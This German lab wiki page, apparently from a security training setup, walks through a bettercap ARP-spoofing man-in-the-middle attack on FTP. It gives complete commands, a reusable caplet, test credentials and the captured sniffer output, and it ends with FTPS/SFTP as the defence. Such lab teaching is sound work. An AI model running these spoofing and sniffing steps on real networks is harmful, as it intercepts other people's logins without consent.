Bettercap: Credential-Harvesting mit net.sniff
Version vom 20. August 2026, 16:08 Uhr von Thomas.will (Diskussion | Beiträge) (Die Seite wurde neu angelegt: „=Bettercap: Credential-Harvesting mit net.sniff= =Szenario= *FTP-SERVER (Opfer) = 10.0.10.104 *CLIENT (userver) = 10.0.10.103 *ANGREIFER = 10.0.…“)
Bettercap: Credential-Harvesting mit net.sniff
Szenario
- FTP-SERVER (Opfer) = 10.0.10.104
- CLIENT (userver) = 10.0.10.103
- ANGREIFER = 10.0.10.101
- INTERFACE = eth0
Der CLIENT userver loggt sich per FTP auf dem FTP-SERVER ein. Der Angreifer sitzt per ARP-Spoofing zwischen beiden und liest die FTP-Zugangsdaten mit. FTP uebertraegt Login und Passwort im Klartext - net.sniff erkennt den Login automatisch und zeigt Benutzer und Passwort als fertige Zeile an.
Benoetigtes Paket
- apt-get install bettercap
Angreifer: MITM + Sniffer starten
- bettercap -iface eth0
- Im bettercap-Prompt
- set arp.spoof.targets 10.0.10.103,10.0.10.104
- set arp.spoof.internal true
- set arp.spoof.fullduplex true
- set net.sniff.filter "tcp port 21 or tcp port 20"
- net.probe on
- arp.spoof on
- net.sniff on
Optionen
arp.spoof.targets = beide Hosts (Client und FTP-Server) arp.spoof.internal true = Host-zu-Host im LAN vergiften (beide sind interne Hosts) arp.spoof.fullduplex = beide Richtungen vergiften net.sniff.filter = nur FTP-Verkehr anzeigen (21 Steuerkanal, 20 Datenkanal) net.probe on = ARP-Cache vorab fuellen arp.spoof on = ARP-Spoofing starten net.sniff on = Sniffer mit Protokoll-Parsern starten
- net.sniff ist kein reiner Mitschnitt
- es kennt die Klartext-Protokolle und zieht
- die Zugangsdaten selbst heraus. Man muss den TCP-Stream nicht von Hand
- zusammensetzen - der FTP-Login erscheint fertig geparst im Log.
Als Caplet (reproduzierbar)
- Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,
- damit man sie nicht jedes Mal von Hand tippt.
- vim seclab-ftp-creds.cap:
net.probe on set arp.spoof.targets 10.0.10.103,10.0.10.104 set arp.spoof.internal true set arp.spoof.fullduplex true set net.sniff.filter "tcp port 21 or tcp port 20" arp.spoof on net.sniff on
- Start
- bettercap -iface eth0 -caplet seclab-ftp-creds.cap
Auf dem CLIENT: FTP-Login ausloesen
- Damit es etwas mitzuschneiden gibt, loggt sich der userver auf dem FTP-Server ein.
- ftp 10.0.10.104
Connected to 10.0.10.104. Name (10.0.10.104:root): testuser Password: geheim123 230 Login successful. ftp> quit
Auf dem Angreifer: der abgegriffene Login
- Im net.sniff-Log erscheint der Login fertig geparst, etwa so
[net.sniff.ftp] 10.0.10.103 > 10.0.10.104 user 'testuser' [net.sniff.ftp] 10.0.10.103 > 10.0.10.104 pass 'geheim123'
- Benutzer und Passwort stehen im Klartext da - ohne dass man den TCP-Stream
- von Hand zusammenbauen musste.
Gegenprobe: derselbe Login in Wireshark
- Zum Vergleich denselben FTP-Login in Wireshark oeffnen und "Follow TCP Stream"
- waehlen. Man sieht dieselben Daten - aber verteilt ueber viele Pakete und ohne
- fertige Auswertung. Das zeigt, was net.sniff dem Angreifer an Arbeit abnimmt.
Angriff beenden
- Im bettercap-Prompt
- arp.spoof off
- q
- arp.spoof off schickt re-ARP, damit die ARP-Caches von Client und Server wieder
- stimmen.
Warum das funktioniert - und die Abwehr
- FTP uebertraegt Login und Passwort unverschluesselt. Die Abwehr ist nicht "besser
- aufpassen", sondern das Protokoll ersetzen
- FTPS (FTP ueber TLS) oder SFTP (ueber SSH) statt Klartext-FTP
- Damit sieht net.sniff nur noch verschluesselte Bytes - kein Login mehr im Klartext